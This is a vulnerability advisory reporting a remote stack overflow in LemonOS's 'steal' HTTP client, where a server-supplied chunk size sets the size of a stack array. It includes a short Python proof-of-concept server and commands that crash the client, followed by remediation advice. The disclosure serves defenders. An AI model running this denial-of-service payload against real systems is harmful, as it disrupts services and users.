Lemon OS - vnightly-2024-07-12 - Remote stack overflow

By 0xhamy 03:14 PM - October 22nd 2025
Type software
Product Environment os
Product Name Lemon OS
Product Vendor LemonOS
Product Version nightly-2024-07-12
Product Link https://github.com/LemonOSProject/LemonOS
Vulnerability Name Remote stack overflow
Severity High
CVSS String
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CVSS Score 7.5
CVE ID CVE-2025-9001
Vendor Acknowledgement No
Affected digital Assets
10
Affected Users
100
Date of Reporting -
PoC Exploit Apr 12, 2025
Credit 0xhamy

Description

LemonOS steal HTTP client (curl-equivalent) is vulnerable to a stack-based buffer overflow that causes reliable denial-of-service and potential memory corruption.
In HTTPGet, the code allocates a variable-length array (VLA) on the stack using a server-controlled size parsed from the HTTP response. A malicious server can announce very large chunks, forcing excessive stack allocation and crashing the process without any user interaction beyond making a request.

Vulnerability Details

HTTPGet (around main.cpp:361) contains:

char recieveBuffer[chunkSize];

Because chunkSize is derived from the remote server’s reply (e.g., via Transfer-Encoding: chunked), the attacker can choose arbitrarily large values. On typical systems (≈8 MB default stack), returning chunkSize = 10 MB causes a stack overflow and immediate crash (SIGSEGV). While our attempts to pivot this into controlled RIP overwrite were unsuccessful under default protections (ASLR, stack guards), the primitive constitutes a remote DoS and risks further impact in weaker build configurations.


Steps to Reproduce

  1. Fetch sources.
    Place these in the same directory:

  2. Compile steal.

    g++ -g -o steal main.cpp -lssl -lcrypto
    
  3. Run a malicious HTTP server returning a huge chunk.
    Example server.py (10 MB):

    import socket
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(('127.0.0.1', 80)); s.listen(1)
    print("Listening on 127.0.0.1:80")
    conn, addr = s.accept(); conn.recv(1024)
    response = b"HTTP/1.1 200 OK\r\nTransfer-Encoding: chunked\r\n\r\n"
    chunk_size = 10485760  # 10MB
    payload = b"A" * chunk_size
    response += f"{hex(chunk_size)[2:]}".encode() + b"\r\n" + payload + b"\r\n0\r\n\r\n"
    conn.send(response); conn.close(); s.close()
    
    sudo python3 server.py
    
  4. Trigger the crash.

    ./steal "127.0.0.1"
    

    Result: segmentation fault at the VLA allocation site (around main.cpp:361).


Recommendation

  • Adopt the fixed implementation by @0xVpr (removes unsafe VLA and hardens parsing): main.cpp
  • Eliminate VLAs for untrusted sizes: use bounded heap buffers (e.g., std::vector<uint8_t>) and process data in fixed-size streaming chunks.
  • Validate and cap server-provided lengths: enforce strict upper bounds on chunk sizes and fail closed on malformed/oversized input.
  • Enable hardening: compile with stack protectors (-fstack-protector-strong), FORTIFY, RELRO/PIE, and keep ASLR enabled.